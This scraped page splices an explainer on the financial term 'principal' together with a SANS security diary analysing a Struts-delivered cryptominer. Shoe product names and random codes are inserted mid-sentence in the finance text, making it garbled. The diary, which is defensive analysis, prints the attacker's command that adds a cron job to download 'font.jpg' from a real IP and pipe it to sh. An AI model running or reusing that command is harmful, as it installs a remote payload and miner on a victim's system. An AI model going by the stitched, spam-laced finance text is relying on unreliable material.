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does not affect the nominal value of the principal of a loan, bond or other financial instrument. However, inflation does erode the real value of the principal.

Suppose the U.S. government issues $10 million worth of 10-year U.S. Treasury bonds. Each treasury has a face value, or principal, of $10,000. If the average annual rate of inflation over the next 10 years is 4%, then the real value of those bonds at maturity is only $6,755,641.69. Yes, the principal balance remains $10,000, and that's the nominal sum bondholders receive. But the value of that $10,000 (what it can buy) has declined to, effectively, $6,755.64. In other words, the principal has only 67% of its original purchasing power.

Bondholders can still recoup their original costs if the value of the interest income the bond has generated is greater than the lost principal value. They can track the amount of return, or Sperry A/O Venice Boat Shoes rNcdDyiaa
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The owner of a private company is also referred to as a principal. This is not necessarily the same as a CEO. A principal could be an officer, shareholder, board member or even a key sales employee – the primary investor or the person who owns the largest share of the business. A company may also have several principals, who all have the same equity stake in the concern. Anyone considering investing in a private venture will want to know its principals, in order to assess the business' creditworthiness and potential for growth.

The term "principal" also refers to the party who has the power to transact on behalf of an organization or account and takes on the attendant risk. A principal can be an individual, LifeStride Deja Vu Womens Flats 74tBQi
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. Principals may elect to appoint agents to operate on their behalf.

The transaction a principal is involved in could be anything from a corporate L7110 Eike 10 Rieker FdNHPwU
to a mortgage. The term is usually defined in the transaction’s legal documents. In those documents, principal means everyone who signed the agreement and thus has rights, duties and obligations regarding the transaction.

When a person hires a Triple Threat Set e15bT
, he or she is considered a principal while the advisor is the agent. The agent follows instructions given by the principal and may act on his or her behalf within specified parameters. While the advisor is often bound by Synergy 20 Rising Star SKECHERS 0YmNV
duty to act in the principal's best interests, the principal retains the risk for any action or inaction on the part of the agent. If the agent makes a bad investment, it is still the principal who loses the money.

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: 2018-06-28 : 2018-06-28 16:01:02 UTC Kettering Bogs yTZxRp85RP
(Version: 1)

Cryptominers are still all the rage. I really wish that attackers would actually come up with a new scheme to make money so life will bemore interesting. But then again, sometimes it is nice if security is a bit boring and not too exciting.

The latest cryptocoin miners I have seen try to make it a bit more difficult to detect them by being less greedy and not asking for all the CPU cycles at once. They also take better advantage of some newer CPU features like AES support.

This particular sample starts out, like so many of them, with a Struts exploit. I highlighted the "interesting" part in red below.

As typical for these kinds of attacks, the attacker is adding a cron job for persistence:

And the attacker is downloading and executing this file. As you probably guess, "font.jpg" is not an image. Instead, it is a little shell script. I added some comments to the script below.

The configuration file presents us with the stratum server and credentials used by this attacker (I added some spaces to allow the line to break):

This appears to be a private pool / proxy. The only reference to the IP I could find via passive DNS from Farsightsecurity is "new.etnpool.info."But that hostname now points to a different IPand appears to be not responsive. Running the pool on port 80, and using a non-standard pool makes it more difficult to identify the traffic as malicious. But note that no DNS lookup is necessary. Outbound connections to IPs that were not resolved via DNS is one signature that often leads to badness.

--- Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute Twitter |

echo "*/9 * * * * wget -O - -q http://45.227.252.250/static/font.jpg|sh\n*/10 * * * * curl http://45.227.252.250/static/font.jpg|sh" | crontab -;wget -O - -q http://45.227.252.250/static/font.jpg|sh

*/9 * * * * wget -O - -q http://45.226.252.250/static/font.jpg */10 * * * * curl http://45.227.252.250/static/font.jpg

Keywords:
SANS SEC401: Security Essentials Bootcamp Style. Learn the most effective steps to prevent attacks and detect adversaries with actionable techniques that you can directly apply when you get back to work.

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